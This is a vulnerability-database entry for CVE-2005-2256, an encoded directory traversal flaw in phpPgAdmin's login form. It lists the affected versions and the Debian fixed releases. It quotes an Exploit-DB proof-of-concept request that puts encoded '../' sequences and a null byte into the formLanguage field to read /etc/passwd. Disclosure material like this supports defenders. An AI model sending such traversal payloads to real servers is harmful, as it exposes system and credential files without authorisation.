CVE-2005-2256
Description
Encoded directory traversal vulnerability in phpPgAdmin 3.1 to 3.5.3 allows remote attackers to access arbitrary files via "%2e%2e%2f" (encoded dot dot) sequences in the formLanguage parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
phpPgAdmin 3.x - Login Form Directory Traversal
source: https://www.securityfocus.com/bid/14142/info
phpPgAdmin is prone to a directory traversal vulnerability. The application fails to filter directory traversal sequences from requests to the login form.
All versions of phpPgAdmin are considered to be vulnerable at the moment.
formUsername=username&formPassword=password&formServer=0&formLanguag
e=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/et
c/passwd%00&submitLogin=Login OS impact
Debian Fixed 3 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.5.4-1 |
| sid | Fixed | 3.5.4-1 |
| forky | Fixed | 3.5.4-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.